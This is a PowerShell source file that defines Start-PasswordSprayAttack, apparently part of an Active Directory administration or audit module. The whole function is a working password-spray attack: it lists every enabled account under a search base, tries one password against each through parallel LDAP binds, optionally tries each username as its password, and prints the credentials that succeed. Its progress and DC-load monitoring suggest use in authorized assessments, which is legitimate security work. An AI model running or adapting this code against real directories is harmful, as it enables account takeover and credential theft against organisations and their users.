Private/Start-PasswordSprayAttack.ps1

function Start-PasswordSprayAttack {

    ################################################################################
    ###### #####
    ###### Run Password Spray in parallel #####
    ###### #####
    ################################################################################

    param(
        [Parameter(Mandatory)] 
        [string]$SearchBase,
        [Parameter(Mandatory)]
        [string]$Password,
        [Parameter(Mandatory)]
        [string]$Server,
        [Switch]$IncludeSamAccountNameAsPassword
    )

    $CurrentFunction = Get-FunctionName
    Write-Log -Message "### Start Function $CurrentFunction ###"
    $StartRunTime = (Get-Date).ToString($Script:DateFormatLog)
    #################### main code | out- host #####################

    $domain = (Get-ADDomain -Server $Server).NetBIOSName

    $users = Get-ADUser `
        -Filter "Enabled -eq 'True'" `
        -SearchBase $SearchBase `
        -Server $Server `
        -Properties SamAccountName

    $total = $users.Count

    if ($total -eq 0) {
        Invoke-Output -Type Warning -Message "No users found under $SearchBase"
        return
    }
    
    $cname = Convert-FromDNToCN -DistinguishedName $SearchBase
    Invoke-Output -Type Quit -Message "Press 'Q' at any time to abort Passwort Spray `n for '$total' users under '$cname'!"

    $startTime = Get-Date
    
    # ---- PARALLEL JOB ----
    $job = $users | ForEach-Object -Parallel {

        $user = "$using:domain\$($_.SamAccountName)"

        try {
            $entry = New-Object System.DirectoryServices.DirectoryEntry("", $user, $using:Password)
            if ($entry.Name) {
                [PSCustomObject]@{
                    User     = $user
                    Password = $using:Password
                    Success  = $true
                }
            }
            else {
                If ($using:IncludeSamAccountNameAsPassword) {
                    $entry = New-Object System.DirectoryServices.DirectoryEntry("", $user, $_.SamAccountName)
                    if ($entry.Name) {
                        [PSCustomObject]@{
                            User     = $user
                            Password = $_.SamAccountName
                            Success  = $true
                        }
                    }
                }
            }
        }
        catch {
            [PSCustomObject]@{
                User    = $user
                Success = $false
            }
        }

    } -ThrottleLimit 35 -AsJob

    $processed = 0

    # ---- MONITOR LOOP ----
    while ($job.State -eq "Running") {

        if ([Console]::KeyAvailable) {
            if ([Console]::ReadKey($true).Key -eq 'Q') {
                Stop-Job $job
                break
            }
        }

        $resultsSoFar = Receive-Job $job -Keep
        $processed = $resultsSoFar.Count

        $elapsed = (Get-Date) - $startTime
        $rate = if ($elapsed.TotalSeconds -gt 0) {
            [math]::Round($processed / $elapsed.TotalSeconds, 2)
        }
        else { 0 }

        $eta = if ($rate -gt 0) {
            [math]::Round(($total - $processed) / $rate, 1)
        }
        else { 0 }

        $metrics = Get-DCLiveMetrics -Server $Server

        $percent = [math]::Round(($processed / $total) * 100, 2)

        Write-Progress `
            -Activity "Performing Password Spray" `
            -Status "Done: $processed/$total | $rate ops/s | ETA: $eta s | DC CPU: $($metrics.CPU)% | LDAP: $($metrics.LDAP)ms" `
            -PercentComplete $percent

        Start-Sleep -Milliseconds 250
    }

    # Final Results
    $results = Receive-Job $job
    Remove-Job $job -Force
    Write-Progress -Activity "Performing Password Spray" -Completed

    $success = $results | Where-Object { $_.Success -eq $true }

    if ($success) {

        Invoke-Output -Type TextMaker -Message "Successful Logons under $cname`:" -TM $($success.count)
        $success | ForEach-Object {
            Invoke-Output -Type Bullet -Message "$($_.User) Pw:" -TM  $_.Password 
        }
    }
    else {
        Invoke-Output -Type Warning -Message "No successful logons!"
    }

    Invoke-Output -Type Success -Message "Finished Password Spray for current scope."

    ######################## main code ############################
    $runtime = Get-RunTime -StartRunTime $StartRunTime
    Write-Log -Message " Run Time: $runtime [h] ###"
    Write-Log -Message "### End Function $CurrentFunction ###"
}